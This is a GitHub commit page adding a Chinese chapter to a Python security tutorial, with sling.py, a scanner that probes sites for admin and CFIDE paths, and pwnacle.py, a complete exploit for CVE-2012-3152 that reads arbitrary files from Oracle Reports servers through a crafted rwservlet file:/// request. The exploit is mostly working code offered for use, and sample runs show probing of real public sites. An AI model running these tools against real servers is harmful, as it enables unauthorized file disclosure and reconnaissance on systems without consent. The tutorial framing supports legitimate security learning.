Skip to content

Commit c51498e

Browse files
ty4z2008ty4z2008
committed
update
1 parent 54542a8 commit c51498e

2 files changed

Lines changed: 177 additions & 1 deletion

File tree

‎README.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@
2929

3030
0x6 – [爬虫](https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x6.md)
3131

32-
0x7 – Web扫描和利用
32+
0x7 – [Web扫描和利用](https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x7.md)
3333

3434
0x8 – Whois查询
3535

‎zh-cn/0x7.md‎

Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##Web扫描和利用
2+
3+
本章将会介绍如何使用python去构建一个简单的web扫描器，并且写一个简单的exp。有些时候如果组织会发布出来一些漏洞测试的POC，然后使用者可以使用这些poc去检查自己系统的漏洞，但是在这种情况下，如果是等poc发布出来早以为时已晚!
4+
5+
在[第5章](https://github.com/smartFlash/pySecurity/blob/master/zh-cn/0x5.md)的时候告诉了大家基本的web请求,这一章我们讲两个新的内容:
6+
7+
* 检测特定的服务器列表.
8+
* 利用一个Oracle的本地包含漏洞.
9+
10+
**Web扫描**
11+
12+
下面的这个脚本使用"-i"参数把文件的url连接传递到脚本里面，然后使用"-r"参数指定请求的路径,最好使用"-s"参数去指定检测是否含有CLI漏洞的字符串.
13+
14+
```
15+
$ python sling.py -h
16+
Usage: sling.py -i <file_with URLs> -r -s [optional]
17+
18+
Options:
19+
-h, --help show this help message and exit
20+
-i SERVERS specify target file with URLs
21+
-r RESOURCES specify a file with resources to request
22+
-s SEARCH [optional] Specify a search string -s
23+
```
24+
25+
存储url链接列表文件的文本格式应该是这样的——"http://www.google.com"一行，并且文件请求的路径应该是"request/"每行,例如:
26+
```
27+
reqs:
28+
CFIDE/
29+
admin/
30+
tmp/
31+
```
32+
33+
下面是一个脚本调用的例子但是没有指定检测字符串:
34+
35+
```
36+
$ python sling.py -i URLs -r reqs
37+
[+] URL: http://www.google.com/CFIDE/ [404]
38+
[+] URL: http://www.google.com/admin/ [404]
39+
[+] URL: http://www.google.com/tmp/ [404]
40+
[+] URL: http://www.yahoo.com/CFIDE/ [404]
41+
[+] URL: http://www.facebook.com/CFIDE/ [404]
42+
[+] URL: http://www.facebook.com/admin/ [404]
43+
[+] URL: http://www.facebook.com/tmp/ [404]
44+
```
45+
46+
现在当创建这些请求的时候，你可能想定义一个检测语句以减少误报，例如：你现在请求的路径是"/CFIDE/administrator/enter.cfm",你可以指定检测"CFIDE"的".cfm"页面是否有问题,这样就帮助你减少很多不必要耗费的时间.下面这个例子演示了上面脚本的完整示例:
47+
```
48+
$ python sling.py -i URLs -r reqs -s google
49+
[+] URL: http://www.google.com/CFIDE/ [404] Found: 'google' in ouput
50+
[+] URL: http://www.google.com/admin/ [404] Found: 'google' in ouput
51+
[+] URL: http://www.google.com/tmp/ [404] Found: 'google' in ouput
52+
```
53+
54+
正如你所看到的，这个脚本只会检测带有'google'关键字的url链接并且通过"STDOUT"显示在屏幕上面,这是一个很简单的脚本能够帮你快速的检索一些web资源,更进一步,我们可以指定服务器的版本号和漏洞版本,完整的脚本在教程的最后面:
55+
56+
**自动web攻击应用**
57+
58+
在几个月以前,一个安全研究员[NI@root](http://blog.netinfiltration.com/2013/12/12/hacking-oracle-reports-11g/)　发表过一篇详细的Oracle本地包含漏洞的报告,在报告发布的同时还发布了一个POC检测工具,用来检测你的服务器是否有bug,除此以外就没有任何工具了,该漏洞允许你通过发起以下请求连接来访问服务器的其他文件或目录,使用"file:///".
59+
60+
```
61+
request = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'
62+
```
63+
下面是调用这个脚本的语法:
64+
65+
```
66+
$ python pwnacle.py <server> <resource>
67+
```
68+
69+
pwnacle.py:
70+
71+
```
72+
#######################################
73+
# pwnacle.py - Exploits CVE-2012-3152 #
74+
# Oracle Local File Inclusion (LFI) #
75+
#######################################
76+
77+
import urllib, sys, ssl, inspect
78+
exec inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3") in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
79+
import socket
80+
81+
server = sys.argv[1] # Assigns first argument given at the CLI to 'server' variable
82+
dir = sys.argv[2] # Assigns second argument given at the CLI to 'dir' variable
83+
ip = server.split('/')[2] # formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'
84+
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///' #request format to exploit the vulnerability
85+
86+
print "Sending Request: "+server+req+dir+'"'
87+
88+
if 'http://' in server: # 使用 http的urllib模块 --如果是ssl协议就出抛出错误
89+
try:
90+
conn = urllib.urlopen(server+req+dir+'"') # 发送请求给服务器
91+
out = conn.readlines()
92+
for item in conn:
93+
print item.strip()
94+
except Exception as e:
95+
print e
96+
97+
if 'https://' in server: # Create web request with ssl module
98+
try:
99+
conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
100+
request = 'GET '+req+dir+'"'+' HTTP/1.1'+'\n'
101+
request += 'Host: '+ip+'\n'
102+
request += 'User-Agent: Mozilla/5.0 '+'\n'
103+
request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'\n'
104+
request += 'Accept-Language: en-US,en;q=0.5'+'\n'
105+
request += 'Accept-Encoding: gzip, deflate'+'\n'
106+
request += 'Connection: keep-alive'+'\n'
107+
conn.send(request+'\n')
108+
print conn.recv()
109+
print conn.recv(20098)
110+
111+
except Exception as e:
112+
print e
113+
```
114+
115+
Sling.py:
116+
117+
```
118+
#####################################
119+
# sling.py - checks for resources #
120+
# Can seach for string in response #
121+
#####################################
122+
123+
from bs4 import BeautifulSoup
124+
import sys, optparse, socket
125+
from urllib import urlopen
126+
127+
class Colors:
128+
RED = '\033[91m'
129+
GREEN = '\033[92m'
130+
131+
def webreq(server, resources): # 主机地址,请求路径
132+
try:
133+
resource = []
134+
for item in open(resources, 'r'): #对请求资源路径循环
135+
resource.append(item.strip()) # 把文件内的链接添加到数组里面
136+
for item in resource: #循环数组并且创建请求
137+
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
138+
s.settimeout(5) # 设置连接超时时间
139+
url = server.strip()+item.strip() # 格式化请求url链接: "http://www.site.com/CFIDE/administrator/enter.cfm"
140+
request = urlopen(url) # 创建请求
141+
if search: # 如果变量 "search"为true (-s)
142+
parsed = BeautifulSoup(request.read(), "lxml") #使用BeautifulSoup解析
143+
if search in str(parsed): # 如果search存在就输出
144+
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput"
145+
elif request.getcode() == 404: # 获取http状态码
146+
print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]" # 打印url的状态码
147+
elif request.getcode():
148+
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]"
149+
150+
except:pass
151+
152+
def main():
153+
# 创建一个 CLI功能函数并且存储到变量里面
154+
parser = optparse.OptionParser(sys.argv[0]+' '+ \
155+
'-i <file_with URLs> -r -s [optional]')
156+
parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs')
157+
parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request')
158+
parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ')
159+
(options, args) = parser.parse_args()
160+
servers=options.servers
161+
resources=options.resources
162+
global search; search=options.search
163+
164+
if (servers == None) and (resources==None): # 检查 CLI是否有效
165+
print parser.usage # if not print usage
166+
sys.exit(0)
167+
168+
if servers:
169+
for server in open(servers, 'r'): # 循环文件里面的url连接
170+
webreq(server, resources) # 调用 webreq 函数
171+
function
172+
173+
if __name__ == "__main__":
174+
main()
175+
176+
```

0 commit comments

Comments
 (0)